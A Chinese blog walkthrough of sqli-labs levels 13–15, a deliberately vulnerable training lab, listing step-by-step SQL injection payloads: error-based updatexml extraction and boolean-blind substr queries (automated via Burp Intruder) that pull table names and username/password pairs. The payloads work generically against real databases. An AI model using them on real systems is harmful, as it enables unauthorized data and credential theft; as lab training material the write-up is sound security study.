sqli-labs通关攻略(13-15关)

一、Less-13

1、判断闭合方式

1') #

2、判断字段数量

1') order by 3 #

3不对尝试2

1') order by 2 #

3、判断回显位

-1') union select 1,2 #

这里不给我们显示回显位,我们利用报错注入的方法来尝试

4、查数据库名字

1') and updatexml(1,concat(1,(select database())),1) #

查到了数据库的名字:security

5、查询表名

1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #

表名为:emails,referers,uagents,users

6、查询字段名

1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #

字段名为:id,username,password

7、查询数据(由于页面显示不全,所以一条一条查)

1') and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) #

二、less-14

这一关和第13关一样,只是闭合方式变为了1" #

1、查数据库名

1" and updatexml(1,concat(1,(select database())),1) #

2、查表名

1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #

3、查字段

1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #

4、查数据

1" and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) #

三、Less-15

这一关是布尔盲注,因为页面只有正确和错误的信息,所以我们可以按照之前做布尔盲注的方式去做,手工注入(不推荐)和利用BP工具

1、判断闭合方式

1' or 1=1#

2、判断数据库长度

1' or length(database())=1#

(1)挂上代理,抓包

(2)ctrl+i发送到inturder模块,选好payload

(3)在payload模块里选好范围,开始攻击

(4)得出数据

数据库长度为8

2、判断数据库的名字

1' or substr(database(),1,1)='a'#

得出数据库名字为:security

3、判断表名

1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'#

查到了第一个表名为emails,那么其余表的表名也是相同的方法,只是limit 0,1 中的0要递增,查出所有表为:emails,referers,users,uagents

4、判断字段名

1' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a'#

第一个字段为id,以此类推,全部字段为:id,username,password

5、查数据

查用户名

1' or substr((select username from users limit 0,1),1,1)='a'#

第一个用户名为dump,以此类推查第二个,第三个...

查密码

1' or substr((select password from users limit 0,1),1,1)='a'#

第一个密码为dump,以此类推第二个,第三个...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值